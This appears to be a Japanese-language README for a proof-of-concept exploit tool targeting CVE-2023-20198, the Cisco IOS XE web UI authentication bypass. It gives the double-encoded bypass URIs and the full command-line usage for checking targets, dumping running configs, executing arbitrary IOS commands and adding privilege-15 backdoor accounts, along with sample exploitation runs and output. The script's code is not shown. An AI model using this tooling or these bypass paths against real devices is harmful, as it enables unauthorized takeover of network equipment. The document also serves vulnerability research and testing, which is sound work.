
CVE-2023-20198 エクスプロイト PoC
CVE-2023-20198 用の Exploit PoC
CVE-2023-20198 は、不適切なパス検証により Nginx フィルタリングをバイパスし、認証を必要とせずに webui_wsma_http Web エンドポイントへ到達することを許す脆弱性です。
エンドポイントへの認証をバイパスすることで、攻撃者は任意の Cisco IOS コマンドを実行したり、Privilege 15 の権限で設定変更を行ったりすることができます。
Cisco による、これまで未公開だったこの脆弱性の活発な悪用に関する調査では、脅威アクターがまず CVE-2023-20198 を悪用して Privilege level 15 の新しいユーザーを追加していたことが判明しました。さらなる攻撃では、CVE-2023-20273 を悪用して基盤となる Linux OS の root ユーザーへ権限を昇格させ、インプラントの埋め込みを容易にしていました。
この PoC は CVE-2023-20198 を悪用して、2 つの異なる XML SOAP エンドポイントを利用します:
脆弱性チェック、設定取得、コマンド実行の各オプションはすべて cisco:wsma-exec SOAP エンドポイントを対象とし、execCLI 要素タグにコマンドを挿入します。
ユーザー追加オプションは cisco:wsma-config SOAP エンドポイントを対象とし、設定変更を発行して Privilege 15 アカウントを追加します。このエンドポイントは他の設定変更にも [悪用] される可能性がありますが、それはこの PoC の範囲外です。
cisco:wsma-exec SOAP エンドポイントの悪用は nuclei テンプレートに由来します。
cisco:wsma-config SOAP エンドポイントの悪用は horizon3ai PoC に由来します。
注: 私はこの CVE に関する元の研究や PoC 開発は一切行っていません。クレジットについては参考文献セクションを参照してください。
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-uri vulnerableURI The URI that is vulnerable to exploit. The most common are "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https", and "%2577ebui_wsma_https". You may need to play around with these along with -https to get a true positive result
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
CVE-2023-20198 をチェックするには、-c で脆弱性を悪用して uname -a を実行します。
例:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g オプションは sh run を実行してランニングコンフィグを取得します。
例:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
任意の Cisco IOS コマンドは -e オプションで実行できます。
設定変更に使用する際は細心の注意が必要です。入力検証は一切なく、変更はランニングコンフィグに即座に適用されます。
例:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a オプションで新しい Privilege 15 ユーザーアカウントを作成できます。アカウント名とパスワードはそれぞれ -u と -p で任意に指定できます。
例:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
-d オプションでデバイスからユーザーアカウントを削除できます。-u で指定したユーザー名が対象になります。
正当なアカウントを削除してしまわないよう注意してください。
これは、悪用した Cisco へのシェル/WebUI アクセスを取得できない場合のために追加されました。Privilege 15 ユーザーを追加しても WebUI アクセスは許可されず、ホスト上に悪用の痕跡を残す可能性があることが確認されています。
Cisco アドバイザリ
horizon3ai CVE-2023-20198 の調査
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 テンプレート (著者: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
このプロジェクトに含まれるコードは、明示的な許可を得たシステム上での研究および使用のみを目的としています。
このプロジェクトの作成者は、ソフトウェアの誤用について一切の責任を負いません。
責任を持って使用し、悪用はしないでください。